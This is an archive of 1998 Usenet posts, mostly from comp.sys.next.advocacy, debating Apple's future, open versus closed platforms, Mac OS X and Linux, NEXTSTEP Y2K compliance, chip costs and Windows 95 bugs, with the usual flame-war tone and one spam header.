Message-ID: <pSpH1.3258$MS.7958045@news.rdc1.sdca.home.com>
Date: Thu, 03 Sep 1998 05:33:09 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 22:33:09 PDT
Organization: @Home Network
In <6skaig$8bv@shelob.afs.com> Gregory H. Anderson wrote:
> Michael Peck <Michael.Peck@ericsson.com> writes
> > Maury Markowitz wrote:
> [Later, concerning text legibility]
> > No, for God's sake, it's your newsposter's problem. I suspect everyone
> > else is just being polite, of course.
>
> True. For some reason, all of a sudden, Maury and Rex's articles have
> characters cut off the left-hand sides of their posts.
>
>
RadicalNews version 9.6beta is cutting off characters when it posts to
Usenet. It is crashing too. I've notified Radical Solutions.
Hopefully, this will only be interim...
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
MIME-Version: 1.0
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References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net>
<6si9mm$sdu@news1.panix.com> <6sjj4k$2p$1@nnrp02.primenet.com>
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Message-ID: <0S3I1.4021$MS.9137697@news.rdc1.sdca.home.com>
Date: Sat, 05 Sep 1998 05:19:56 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 22:19:56 PDT
Organization: @Home Network
In
<70027AD10AB3AE99.7E5CBC282D1D90EE.0A964CEBE9E34897@library-proxy.airnews.n
et> Shelton Garner wrote:
> On 2 Sep 1998 14:01:56 GMT, John Jensen <jjens@primenet.com> wrote:
>
> >Sal Denaro <sal@panix.com> wrote:
> >: On Fri, 28 Aug 1998, Shelton Garner <leebum@nottowayez.net> wrote:
>
> <snip>
>
> >Apple invented the term "crown jewels" to describe their proprietary
> >software. It is a long distance from crown jewels to open source(tm).
> >
> >I expect that MacOS X will use a lot of standard (BSD) components, and
> >will support a POSIX level interface. That's great because a lot of nice
> >things, like apache and bash should run on top of it. But, I also expect
> >that essentially all APIs above the POSIX level will be proprietary to
> >Apple. In particular, I expect the GUI level APIs to be proprietary.
> >That may work for Apple and Apple customers, but it does put Apple in a
> >bit different "space" than Linux.
>
> As I may have mentioned before, I believe the ultimate fate of Apple
> rests with Linux. Either Linux will "kill" Apple As We Know It, or
> Apple and the Mac will thrive because of Linux. Just imagine if the
> Mac's GUI became what the average non-technoid thought of as "the
> Linux desktop."
>
>
But Linux users don't "love" their computers... Apple has this distinct and
unique advantage over all other mfgrs in the marketplace. It is their
touchstone, unasaillable attribute and probably an indestructible one at
that...
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
MIME-Version: 1.0
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References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net>
<6si9mm$sdu@news1.panix.com> <6sjj4k$2p$1@nnrp02.primenet.com>
<70027AD10AB3AE99.7E5CBC282D1D90EE.0A964CEBE9E34897@library-proxy.airnews.net>
Message-ID: <gS3I1.4022$MS.9134692@news.rdc1.sdca.home.com>
Date: Sat, 05 Sep 1998 05:20:12 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 22:20:12 PDT
Organization: @Home Network
In
<70027AD10AB3AE99.7E5CBC282D1D90EE.0A964CEBE9E34897@library-proxy.airnews.n
et> Shelton Garner wrote:
> On 2 Sep 1998 14:01:56 GMT, John Jensen <jjens@primenet.com> wrote:
>
> >Sal Denaro <sal@panix.com> wrote:
> >: On Fri, 28 Aug 1998, Shelton Garner <leebum@nottowayez.net> wrote:
>
> <snip>
>
> >Apple invented the term "crown jewels" to describe their proprietary
> >software. It is a long distance from crown jewels to open source(tm).
> >
> >I expect that MacOS X will use a lot of standard (BSD) components, and
> >will support a POSIX level interface. That's great because a lot of nice
> >things, like apache and bash should run on top of it. But, I also expect
> >that essentially all APIs above the POSIX level will be proprietary to
> >Apple. In particular, I expect the GUI level APIs to be proprietary.
> >That may work for Apple and Apple customers, but it does put Apple in a
> >bit different "space" than Linux.
>
> As I may have mentioned before, I believe the ultimate fate of Apple
> rests with Linux. Either Linux will "kill" Apple As We Know It, or
> Apple and the Mac will thrive because of Linux. Just imagine if the
> Mac's GUI became what the average non-technoid thought of as "the
> Linux desktop."
>
>
But Linux users don't "love" their computers... Apple has this distinct and
unique advantage over all other mfgrs in the marketplace. It is their
touchstone, unasaillable attribute and probably an indestructible one at
that...
-r
From: massmail@aol.com
Newsgroups: comp.sys.next.advocacy
Subject: WE MASS E-MAIL YOUR EXCLUSIVE AD TO 900k - $99
Date: 5 Sep 1998 05:38:15 GMT
Organization: AT&T WorldNet Services
Message-ID: <6sqio7$jk2@bgtnsc02.worldnet.att.net>
An unregistered version of Newsgroup AutoPoster PRO
posted this article!
---
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From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Sat, 05 Sep 1998 01:32:15 -0400
Organization: BM
Message-ID: <6sqht5$jtm$1@ash.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
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rr6013@yahoo.com wrote:
>Flash forward, today... We have iMac on the market. No slots. Marketing
>la 1984. And you are singing the praises of "closed" boxes and proprietary
>platform strategy. This strategy in a World dominated by MS's open strategy
>y has been tried before in "much" more favorable conditions. They lost 80%
> of their marketshare, in other words, they failed with a "closed" strategy.
I said nothing about iMac. But, now that you mentioned it, I think it's flying
off the shelves. What's your complaint? That it is closed? Not expandable?
Whatever.
It represents a value proposition that people are obviously responding to very
positively. Once again proving my point that when you offer people what they
want/desire/lust, they buy it regardless of its state of being "open" or not.
iMac has very distinct advantages (ease of use, industrial design, performance,
etc), and 15% of the current purchasers are Windows users.
>The distinction and advantage MS leveraged to market dominance was "open"
>vs. "closed". The open marketplace was competitive and as such drove prices
>s thus costs of computing down. The closed marketplace was oligopolistic
>ith protected margins and drove business to the affordable purchasing
>ions. The marketplace chose affordable. They chose MS.
So what? Apple's focus has *never* been on the cheapest and lowest common
denominator stuff. They bet on the presence of a more discerning customer base.
Apparently, there still remain 20+ million of them. Hopefully, it'll grow. When
everybody prefers the cheapest solution then there won't be an audience for
Apple products. I'm betting that that won't be the case.
>> So this "open" bandwagon is just that, a bandwagon.
>Please, please... don't be so quick to dismiss. Don't fall in love with
>ur own reflections.
If someone feels Linux fulfills their computing needs. Great. Let'em use it. It
sure doesn't begin to fulfill my needs: web app development/design and
multimedia.
>It's a new business proposition. No one has built a business template for
>making profits off "open" software but Microsoft has benefited in unlimited
> ways from open hardware. If you separate the two "open" strategies, that
>may simplify the discussion. It remains to be seen whether you can give the
>e software business away and make money on closed hardware. Which is the
>ox into which those of us advocating "open" source in the newsgroups paint
>Apple.
I'm not unhappy that Apple hasn't diverted any of its limited resources to these
appeals yet. I'd like to see MacOS X out as they promised. Anything else is pure
distraction for me.
>By Apple putting forth new standards first and opening those standards to
>he rest of the hardware community they can win critical mass in the
>place. This leadership is not following but is leveraging standards to get
> back to a position of strength. Think Different is not license to ignore
>the standards and not follow them...
I have no problem Apple following open standards at all. I'm big on the ability
to exchange data to/from any platform. I love the promise of XML and have built
three custom apps for it. I also love that "closed" standard QuickTime and find
nothing that remotely compares to it. Ditto AppleScript and ColorSync.
I want my OS vendor to make life easier for me and endow me with distinct
advantages. I don't care whether those offerings are open or closed as long as
they allow me to get my job done. I'm very much willing to pay for this --
premium, double or triple as long as it allows me to make more money. If an
Apple box allows me to produce design work with less frustration and better
facility I never blink about paying an extra $1K-$2K premium to get that
advantage. It's a drop in the bucket in my budgets.
Ziya Oz
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 04 Sep 1998 22:58:42 -0700
Organization: University of California, Los Angeles
Message-ID: <35F0D2F7.B78AF26F@yahoo.com>
References: <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
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rr6013@yahoo.com wrote:
> But Linux users don't "love" their computers... Apple has this distinct and
> unique advantage over all other mfgrs in the marketplace. It is their
> touchstone, unasaillable attribute and probably an indestructible one at
> that...
True about Apple. And maybe the reason why Apple yet survives.
In the past, on comp.sys.mac.advocacy, the "wintelligentsia" (not my term, but
I like it) has made much of Macophiles and their affection for their
computers. They particularly scoff at the notion that a computer can - or
should - actually "smile" at you at bootup. Having had too many computers
snarl at me, at bootup or any other time, I'll say I'll take a smile, thanks
very much :)
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
User of: MacOS (admire), Unix/Linux and BeOS (respect), Win95 (barely tolerate)
and DOS (despise). NT will be included somewhere when I get the damned thing
installed.
From: Nepenthe@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac users desperate for something better
Date: Sat, 05 Sep 1998 06:31:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sqls3$9pm$1@nnrp1.dejanews.com>
References: <35eca36a.34217033@sun3.nptic.edu.tw> <gmgraves-0209981945060001@sf-pm5-16-80.dialup.slip.net> <slrn6us1qq.4e.jason@jhste1.dyn.ml.org> <35f077a3.12456385@news1.bway.net> <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com>
In article <paul_lucente-ya02408000R0409980938140001@merck.com>,
paul_lucente@merck.com (Paul Lucente) wrote:
> In article <6soem6$8a3$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
>
> > In article
> > <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net>,
> > macghod@concentric.net (Steve Sullivan) wrote:
> >
> > > On the mac, netscape freezes, I have to restart which takes several
> > > minutes, plus I have lost the unread status of articles I have read, plus
> > > my letter to grandma is gone. Just having to restart and then redial my
> > > isp is a pain
> >
> > On YOUR Mac. On MY Mac when netscape freezes, I force it to quit, save data
> > in all my open apps (for safety) relaunch netscape and continue on my merry
> > way.
>
> My experience differs. Any time I've ever force quit an application under
> Mac OS, its only been a matter of seconds until either another app puked,
> or the whole OS locked up. I don't think I've EVER been able to even
> relaunch the crashed app and not have it die again very soon after
> relaunch.
>
> But I've heard a lot of people make the claim that they can force quit an
> app and continue working problem free. What am I doing wrong? Is there a
> special trick to it other than hitting option-command-esc?
>
> Paul
No trick, I would suspect it's your system configuration. I run a totally MS
free system with only a few 3rd party extensions control panels etc - driver
for my graphics card, driver for my scanner, hdt, wacom tablet, CP for screen
capturing open menus, virex, ATM and some control strip modules - stable
system.
In fact Netscape 3 which would reliably take down my machine once a session
in 7.5.5 is very very well behaved. It crashes, system kills it - my other
apps are fine - i relaunch or if it freezes I kill it and relaunch and my
system stays happy.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PPC 750 vs. Intel Pentium II
Date: 3 Sep 1998 14:20:29 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sm8jd$m00@newsb.netnews.att.com>
References: <6shd74$fth@newsb.netnews.att.com> <1deqjrd.100e86xid9v7kN@p006.intchg2.net.ubc.ca>
Originator: gupta@tlctest
Bruce Bennett <bbennett@unixg.ubc.ca> wrote:
>
>But what about the per-unit manufacturing cost on the one hand, and
>selling price on the other (economy of scale presumably going to the
>manufacturer with the biggest market)? Are PPC chips inherently cheaper?
The factors entering the per-unit manufacturing cost are closely guarded
secrets, I am told. The people at Microprocessor Reports guessed, at
the time of the introduction of the Arthur (PowerPC 750) and
Klamath (Pentium II) that the PowerPC would cost about half as much as Klamath
to manufacture.
(EETimes, February 17, 1997
URL : http://www.techweb.com/se/directlink.cgi?EET19970217S0059
Sad triumph for PowerPC, Michael Slater).
Quote :
"At 67 mm^2, Arthur is one-third the size of the 203 mm^2 Klamath.
As a result, MicroDesign Resources puts Arthur's manufacturing cost
at half that of the Intel architecture.
End quote.
-arun gupta
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
Message-ID: <EypqG4.4pI@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179>
Mime-Version: 1.0
Date: Thu, 3 Sep 1998 14:48:03 GMT
In <B2132A13-45BC2@206.165.43.179> "Lawson English" wrote:
> Without the full cooperation of Metrowerks, Yellow Box had no chance
> whatsoever because few Mac developers would leap from using CodeWarrior to
> a GNU-based product.
I disagree. In fact I think this is another example of the kind of silly
statements you make until you start using the tools. No one cares about the
tools Lawson, look haw fast people switched from MPW to Think to CodeWarrior
r (notably the last example). If the tool works, does the job, and offers
leat advantages, people will switch.
Maury
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
Date: 4 Sep 98 10:13:33
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep4101333@slave.doubleu.com>
References: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com>
In-reply-to: Jonathan Weeks's message of Fri, 04 Sep 1998 08:45:15 -0700
In article <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com>,
Jonathan Weeks <jweeks@isomedia.com> writes:
This is a pretty big deal for all of those still running NS3.3.
Sure wish we would of had a little more warning,
Huh? Essentially the same document has been out there for over a
year, now. In fact, if it didn't have a date there at the top, I
would have thought it was the same document as I've seen before,
because it says the same things.
One thing to note about the information they give is that they don't
say anything like "Stay at home on New Year's Eve to watch the
fireworks as your system gloriously crashes!" I suspect that "NS3.3
isn't Y2K compliant" simply means that they aren't taking
responsibility for it. They don't really take a stand and say that it
will _stop_ working - nor do they really say that it will even be
noticable to someone who isn't looking for problems.
[That said, I don't plan to be using NS3.3 for mission critical uses
at that time, so I do sympathize,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Sep 98 13:09:36
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep4130936@slave.doubleu.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu>
<B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net>
<6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
<6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
<EyK67n.7DI@T-FCN.Net>
<D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net>
<EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
<Eynut8.H0w@T-FCN.Net> <35ED6231.B7655F0B@ericsson.com>
<6skt5a$147m1@odie.mcleod.net> <6smh3l$gld@sjx-ixn1.ix.netcom.com>
In-reply-to: eugene@cs.umb.edu's message of Thu, 03 Sep 98 16:43:34 GMT
In article <6smh3l$gld@sjx-ixn1.ix.netcom.com>,
eugene@cs.umb.edu (Eugene O'Neil) writes:
In article <6skt5a$147m1@odie.mcleod.net>,
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
[several paragraphs of how Linux is great and BSD sucks deleted ]
>YellowBox + Apple GUI on top of LINUX would appeal to the same
>users to whom LINUX currently appeals and Microsoft does not
>address. It might even appeal to existing Mac users.
You know who it wouldn't appeal to? All the Apple developers who
have already written thousands, if not millions of lines of code to
run on top of BSD.
Only a handful of developers have code that would be affected by
changing from a BSD-derived Unix to some other flavor of Unix.
Witness the fact that many programs have been ported to NT, which
isn't remotely Unix!
Even those developers, like myself, who have written software that
runs with one foot at the OpenStep level, and the other foot at the
Unix level, aren't going to be horribly afflicted. All of my Unix
reliance is fairly well modularized. I did this not because I figured
I'd someday have to change it - rather, it was because I wanted to
make my system calls and the like play nicely with the Objective-C
stuff.
I'd be much more concerned about the millions of lines of non-Unix
non-OpenStep code out there. Even egregiously unportable Unix code
will probably be easier to port to a new Unix than much of the
existing MacOS code will be.
Also the legal department, who are more comfortable with the BSD
license than the GNU license.
The legal department is going to be unhappy with _any_ change from the
status quo. Not because they are inherently conseravative (though
they probably are). It's just that any change will require them to
cover a lot of ground to verify that the change itself doesn't
interact badly with various licenses and contracts.
Too bad legal documents can't be modularized like programs often can.
[I currently make my living working on software that does just this -
believe me, legal documents sometimes make "spaghetti code" look
delicious indeed.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Should Apple buy Adobe?
Date: 4 Sep 98 13:17:16
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep4131716@slave.doubleu.com>
References: <01bdd765$985a37c0$06387880@chewy> <6sn956$kgb@news1.panix.com>
In-reply-to: sal@panix.com's message of 3 Sep 1998 23:36:06 GMT
In article <6sn956$kgb@news1.panix.com>,
sal@panix.com (Sal Denaro) writes:
On 3 Sep 1998 18:17:39 GMT, Todd Heberlein
(todd at NetSQ dot com) <todd@dev.null> wrote:
>Since PostScript is still very important to the publishing world,
>Apple wants to stay a major player in the publishing and creative
>arts market, Apple has a lot of effort/money invested in the
>current MacOS X DPS technology, and Adobe's stock is near a
>four-year low,
> Should Apple consider buying Adobe?
For no other reason then to remove the DPS royalty fee? No.
OTOH, with Adobe in-house, they could probably do some interesting
things with the current DPS. To the best of my knowledge, the
NeXT/Adobe interactions on the windowserver had a fairly strong
chinese wall in the middle. Adobe would do something and throw it
over the wall. NeXT would figure out whether it does the job, and
throw comments back over.
Specifically, unless things have changed, NeXT didn't have access to
the bulk of the DPS source code. To be frank, I can't imagine how
they handled OpenStep/NT.
To use PhotoShop and Illustrator (and k2) to add value to its OS?
Yes.
Ooooh, now _that_ would make it a real shooting war! Apple and
Microsoft, with each other's family jewels squeezed by enemy hands.
Of course, while they're whiling their time away forcing each other to
release each other's software on each other's platforms, perhaps some
third party will take over the future :-).
Apple would do very well if it turned PhotoShop and Illustrator
into frameworks for 3rd parties to build new and interesting
software for content creation.
Isn't that a pretty good description of PhotoShop today?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6smevl$mcg@newsb.netnews.att.com> <OGOH1.481$Q9.398535@newsfeed.slurp.net> <aciesar-0409981110430001@nsgmacppc8.neuronet.pitt.edu>
Subject: Re: What we need from Mac OSuX
Message-ID: <dU8I1.384$2s.343360@newsfeed.slurp.net>
Date: Sat, 05 Sep 1998 11:03:37 GMT
NNTP-Posting-Date: Sat, 05 Sep 1998 04:03:37 PDT
Organization: Slurp News Feeds
Aaron Ciesar wrote in message ...
>Here is a real simple Win95 bug to find. It is called <drum roll
>please...> the year 2000 bug. It requires the download of this patch
>"WIN95Y2K.EXE" to fix. The patch updates the WINFILE.EXE and
>COMMAND.COM. Here is the URL for info and download.
If you don't use DOS applications (and who does anymore), you won't be
effected though.
Dan
From: "Brian Quinlan" <quinlan@intergate.bc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <brian_hall-1308981858030001@22.markspace.com> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com> <35ef8d3f.0@carrera> <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net> <35f04cf7.0@carrera> <1deulz7.obdwg71dn8kh8N@roxboro0-056.dyn.interpath.net>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sat, 5 Sep 1998 02:58:05 -0700
Message-ID: <35f10a15.0@carrera>
In article <1deulz7.obdwg71dn8kh8N@roxboro0-056.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> His method requires that, mine doesn't - using what I said the first
> thing the program knows about it is when a mousedown event in the menu
> is returned - the rest of it is handled behind the back of the app.
When does the application get an opportunity to set the state of it's menus
before the user sees them?
--
Brian Quinlan
quinlan@intergate.bc.ca
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
From: simonrb@dircon.co.uk (Simon Barker)
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net>
MIME-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
Message-ID: <35eeee06.0@newsread1.dircon.co.uk>
Date: 3 Sep 1998 20:29:10 -0100
On Thu, 03 Sep 1998 07:30:30 GMT, Dan says...
>Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>
>>>I don't know anyone that knows what the difference is between Win95 and
>>>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>>>single Win95 bug... can you?
>>
>>Err yeah you do if you read the documents that were with it, there are lots
>of
>>bugs in Windows *many* people are aware of, all you need do is look at
>hotfixes
>>and sp's and program updates etc of course they're mostly fixed now but
>there
>>still are bound to be many out there not fixed.
>
>I was talking about Win95, not NT. MS is very good at letting the user know
>about the bugs that exist in NT by providing hotfixes... regardless of the
>fact that most users do not experience the bugs that these hotfixes take
>care of.
I was refering to Win95, I used hotfix to save me the trouble of naming some
specific updates/bug fixes under Windows as essentially they are the same
thing.
>>The claim Win95 was unusable
>>until the first service pack is a bit silly but it's not entirely wrong
>either.
>
>I stand by what I said. If a user goes looking for documentation, containing
>a list of known bugs, then obviously they will know of some that exist...
>even if they don't experience them.
>My point was that most users can't give you a example of a single bug in
>Win95... but most users will agree that Win95 has plenty of them. It's
>called "ignorance"... "hype"... etc.
Perhaps, perhaps not.
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 05 Sep 1998 12:49:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6src19$1p3$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net>
Bugs:
1) Typing the first letter of an icon's name doesn't work properly.
2) Dunno if this counts as a bug, but there is no live scrolling
3) If you put a folder hierachy in the wastebasket, windoze forgets which
folder each item was in.
4) Windoze doesn't work properly, if at all, if it can see HPFS partitions.
5) To get it to work with LILO, you have to use DiskDruid to make the MKFS ,
swap partitions and dos partition, then install windows, then install linux
again.
6) Does the fact that windoze crashes twice a day on average not suggest to
you that there are a fair few bugs in the memory management?
7) If windoze is soooo bug free, why does every other piece of M$ software
replace the MSCVRT.DLL?
Covert bug fixes?
I don't hate microsoft for just being good at marketting.
I don't hate them for having a monopoly.
I hate them because their products are the worst crap ever to crawl the face
of the earth.
Owen Hughes
N. Wales
Bready_1138@postmaster.co.uk
In article <qArH1.421$XE1.327550@newsfeed.slurp.net>,
"Dan" <dan@knowspaam.com> wrote:
> Simon Barker wrote in message <35edc5e7.0@newsread1.dircon.co.uk>...
>
> >>I don't know anyone that knows what the difference is between Win95 and
> >>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
> >>single Win95 bug... can you?
> >
> >Err yeah you do if you read the documents that were with it, there are lots
> of
> >bugs in Windows *many* people are aware of, all you need do is look at
> hotfixes
> >and sp's and program updates etc of course they're mostly fixed now but
> there
> >still are bound to be many out there not fixed.
>
> I was talking about Win95, not NT. MS is very good at letting the user know
> about the bugs that exist in NT by providing hotfixes... regardless of the
> fact that most users do not experience the bugs that these hotfixes take
> care of.
>
> >The claim Win95 was unusable
> >until the first service pack is a bit silly but it's not entirely wrong
> either.
>
> I stand by what I said. If a user goes looking for documentation, containing
> a list of known bugs, then obviously they will know of some that exist...
> even if they don't experience them.
> My point was that most users can't give you a example of a single bug in
> Win95... but most users will agree that Win95 has plenty of them. It's
> called "ignorance"... "hype"... etc.
>
> Dan
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: hughesojh@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 05 Sep 1998 12:56:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6srcdn$2dl$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com>
Windoze user filth mentality:
"If the computer does something dumb, why it must be MY fault".
A decent OS should work how you want it to.
If it doesn't, then you should be able to change it.
Owen Hughes
Bready_1138@postmaster.co.uk
In article <6sm7m1$p16$1@supernews.com>,
"Steven Schulze" <sschulze@netwiz.net> wrote:
>
> Christian Bau wrote in message ...
